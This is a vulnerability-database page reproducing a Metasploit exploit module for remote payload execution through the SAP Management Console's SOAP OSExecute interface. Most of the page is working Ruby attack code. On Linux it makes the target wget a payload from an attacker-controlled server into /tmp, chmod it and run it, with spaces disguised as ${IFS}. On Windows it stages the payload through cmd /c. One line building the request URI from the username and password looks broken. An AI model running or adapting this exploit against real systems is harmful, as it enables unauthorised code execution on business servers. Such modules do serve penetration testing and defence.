Lucene search
+L

SAP Management Console OSExecute Payload Execution

🗓️ 08 Mar 2011 00:00:00Reported by Chris John Riley, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

SAP Management Console OSExecute Payload Execution module for arbitrary payload execution through the SOAP Interface, tested on Windows and Linux platforms

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ %r{gSOAP/2.7} ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SAP Management Console OSExecute Payload Execution',
        'License' => MSF_LICENSE,
        'Author' => [
          'Chris John Riley' # Original module, windows target
        ],
        'Description' => %q{
          This module executes an arbitrary payload through the SAP Management Console
          SOAP Interface.  A valid username and password for the SAP Management Console must
          be provided. This module has been tested successfully on both Windows and Linux
          platforms running SAP Netweaver. In order to exploit a Linux platform, the target
          system must have available the wget command.
        },
        'References' => [
          [ 'URL', 'http://blog.c22.cc/toolsscripts/metasploit-modules/sap_mgmt_con_osexecute/' ]
        ],
        'Privileged' => false,
        'DefaultOptions' => {},
        'Payload' => {
          'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4"
        },
        'Targets' => [
          [
            'Linux',
            {
              'Arch' => ARCH_X86,
              'Author' => 'juan vazquez',
              'Platform' => 'linux'
            }
          ],
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'CmdStagerFlavor' => 'vbs'
            },
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-03-08',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(50013),
        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
        OptString.new('USERNAME', [true, 'Username to use', '']),
        OptString.new('PASSWORD', [true, 'Password to use', '']),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the Linux payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download when using Linux target, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
      ]
    )
    register_advanced_options(
      [
        OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 7500]),
      ]
    )
    register_autofilter_ports([ 50013 ])
  end

  def autofilter
    false
  end

  def check
    begin
      res = send_soap_request('')
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Connection failed')
    end

    if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/
      return Exploit::CheckCode::Appears('SAP Management Console OS command execution available')
    elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/)
      return Exploit::CheckCode::Detected('SAP Management Console detected but credentials are invalid')
    elsif res and res.headers['Server'] =~ /gSOAP/
      return Exploit::CheckCode::Unknown('SAP Management Console gSOAP detected but could not confirm vulnerability')
    end

    return Exploit::CheckCode::Safe('SAP Management Console not detected')
  end

  def exploit
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Auto Detecting Remote Platform...")
    my_platform = auto_detect
    if my_platform.nil?
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Remote Platform not detected, continue anyway...")
    elsif target['Platform'] == my_platform
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - #{target.name} successfully detected...")
    else
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - #{target.name} not detected, but #{my_platform}, continue anyway...")
    end

    if target.name =~ /Windows/
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Connecting to SAP Management Console SOAP Interface...")
      linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Using custom payload size of #{linemax}") if linemax != 7500
      execute_cmdstager({ delay: 0.35, linemax: linemax })
    elsif target.name =~ /Linux/
      exploit_linux
    end
  end

  def auto_detect
    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
    ns1 = 'ns1:GetEnvironment'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi
    data << '" xmlns:xs="' + xs + '">' + "\r\n"
    data << '<SOAP-ENV:Header>' + "\r\n"
    data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
    data << '<enableSession>true</enableSession>' + "\r\n"
    data << '</sapsess:Session>' + "\r\n"
    data << '</SOAP-ENV:Header>' + "\r\n"
    data << '<SOAP-ENV:Body>' + "\r\n"
    data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
    data << '</SOAP-ENV:Body>' + "\r\n"
    data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

    begin
      res = send_request_cgi({
        'uri' => normalize_uri(datastore['URI']),
        'method' => 'POST',
        'data' => data,
        'ctype' => 'text/xml; charset=UTF-8',
        'headers' =>
          {
            'SOAPAction' => '""'
          }
      })

      if res and res.code == 200 and res.body =~ /OSTYPE=linux/
        return 'linux'
      elsif res and res.code == 200 and res.body =~ /OS=Windows/
        return 'win'
      else
        return nil
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
    end
  end

  def send_soap_request(command)
    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
    ns1 = 'ns1:OSExecute'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
    data << '<SOAP-ENV:Header>' + "\r\n"
    data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
    data << '<enableSession>true</enableSession>' + "\r\n"
    data << '</sapsess:Session>' + "\r\n"
    data << '</SOAP-ENV:Header>' + "\r\n"
    data << '<SOAP-ENV:Body>' + "\r\n"
    data << "<#{ns1} xmlns:ns1=\"urn:SAPControl\"><command>#{command}</command>"
    data << '<async>0</async></' + ns1 + '>' + "\r\n"
    data << '</SOAP-ENV:Body>' + "\r\n"
    data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['USERNAME'], datastore['PASSWORD']),
      'method' => 'POST',
      'data' => data,
      'ctype' => 'text/xml; charset=UTF-8',
      'headers' =>
        {
          'SOAPAction' => '""'
        }
    })
    return res
  end

  def exploit_linux
    downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15))
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = "http://#{Rex::Socket.to_authority(datastore['DOWNHOST'], srvport)}#{resource_uri}"
    else
      service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
      start_service({
        'Uri' => {
          'Proc' => proc do |cli, req|
            on_request_uri(cli, req)
          end,
          'Path' => resource_uri
        },
        'ssl' => false # do not use SSL
      })

    end

    #
    # download payload
    #
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the SAP Management Console to download #{service_url}")
    # this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    # not working if we send all command together -> lets take three requests
    cmd = "wget #{service_url} -O /tmp/#{filename}"
    cmd.gsub!(/ /, '${IFS}')
    begin
      res = send_soap_request("/bin/sh -c #{cmd}")
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
    end
    handle_response(res)

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Giving #{datastore['HTTP_DELAY']} seconds to the SAP Management Console to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    cmd.gsub!(/ /, '${IFS}')
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the SAP Management Console to chmod /tmp/#{filename}")
    begin
      res = send_soap_request("/bin/sh -c #{cmd}")
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
    end
    handle_response(res)

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the SAP Management Console to execute /tmp/#{filename}")
    begin
      res = send_soap_request("/bin/sh -c #{cmd}")
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
    end
    handle_response(res)
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    # print_status("on_request_uri called: #{request.inspect}")
    if (!@pl)
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting for the victim to request the ELF payload...")

    waited = 0
    until (@elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end
  end

  # This is method required for the Windows CmdStager to work
  def execute_command(cmd, _opts)
    cmd_s = cmd.split('&') # Correct issue with multiple commands on a single line
    if cmd_s.length > 1
      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
    end

    cmd_s = cmd_s.collect(&:strip)
    cmd_s.each do |payload|
      begin
        res = send_soap_request("cmd /c #{payload.strip}")
      rescue ::Rex::ConnectionError
        fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
      end
      handle_response(res)
    end
  end

  def handle_response(res)
    if (res and res.code != 500 and res.code != 200)
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
    elsif res and res.code == 500
      body = res.body
      if body.match(/Invalid Credentials/i)
        print_error("#{Rex::Socket.to_authority(rhost, rport)} - The Supplied credentials are incorrect")
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
      elsif body.match(/Permission denied/i)
        print_error("#{Rex::Socket.to_authority(rhost, rport)} - The Supplied credentials are valid, but lack OSExecute permissions")
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
      end
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation